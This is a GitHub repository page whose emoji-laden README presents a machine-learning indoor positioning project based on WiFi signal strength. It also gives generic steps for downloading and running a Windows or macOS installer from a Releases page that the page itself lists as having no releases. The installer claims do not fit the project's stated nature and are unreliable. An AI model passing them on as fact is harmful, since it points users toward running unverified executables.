Skip to content

Kiw56s/Machine-Learning-Indoor-Positioning

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

15 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ€– Machine-Learning-Indoor-Positioning - Locate Yourself Indoors with Ease

Download

πŸ“œ Description

Machine-Learning-Indoor-Positioning is a tool that helps you find your location indoors using your WiFi connection. It uses machine learning techniques like KNN, SVM, Decision Trees, Random Forest, Linear Regression, and Ridge Regression to estimate your building, floor, and position based on WiFi signals.

πŸš€ Getting Started

Follow these steps to get started with the application:

  1. Visit the Release Page: Go to our Releases page.
  2. Download the Application: Find the latest version and download the appropriate file for your device.

πŸ–₯️ System Requirements

To run this application, make sure your device meets the following requirements:

  • Operating System: Windows 10 or later, macOS 10.14 or later, or a recent version of Linux.
  • Memory: At least 4 GB of RAM.
  • Storage: At least 100 MB of free disk space.
  • Network: WiFi capability is essential for this application to function.

πŸ”§ How to Install

  1. Download the Application:

    • On the Releases page, click on the latest version.
    • Choose the file suitable for your operating system and click the download button.
  2. Locate the Downloaded File:

    • Open your "Downloads" folder or the folder where your browser saves downloaded files.
  3. Run the Installer:

    • For Windows, double-click the .exe file.
    • For macOS, open the .dmg file and drag the application into your "Applications" folder.
    • For Linux, follow your distribution’s guidelines for installation.
  4. Follow On-Screen Instructions:

    • Follow the prompts to complete the installation process.
  5. Launch the Application:

    • Open the application from your "Applications" folder or start menu.

πŸ“Š Using the Application

Once you have the application running:

  1. Connect to a WiFi network.
  2. Allow the app to access WiFi and location data.
  3. The app will use WiFi signals to determine your indoor position.
  4. You will see your estimated location displayed on the screen.

πŸ” Features

  • KNN and SVM Algorithms: Uses these algorithms for precise indoor positioning.
  • Multiple Estimation Methods: Able to estimate position based on different approaches, providing flexibility based on your needs.
  • User-Friendly Interface: Designed for easy navigation, even for non-technical users.
  • Real-Time Updates: Regular updates through the GitHub releases ensure you have the latest features and bug fixes.

πŸ› οΈ Troubleshooting

If you encounter any issues:

  1. Ensure your WiFi connection is strong and stable.
  2. Restart the application if it does not find your location.
  3. Check the installation guide to ensure you've installed the application correctly.

πŸ“ž Support

For support, please open an issue on the GitHub Issues page. We strive to respond within 48 hours.

πŸ™ Acknowledgments

Thanks to all contributors for their hard work in making this project possible. Your efforts are highly appreciated.

πŸ’‘ Feedback

We welcome feedback to improve the application. If you have suggestions or comments, please reach out via our GitHub page or leave your feedback on the Issues page.

πŸ“’ Important Links

Download

Enjoy using Machine-Learning-Indoor-Positioning to discover your indoor surroundings.

About

πŸ“ Implement a machine learning system for indoor localization using WiFi RSSI, accurately predicting building IDs, floors, and positions in GPS-denied areas.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages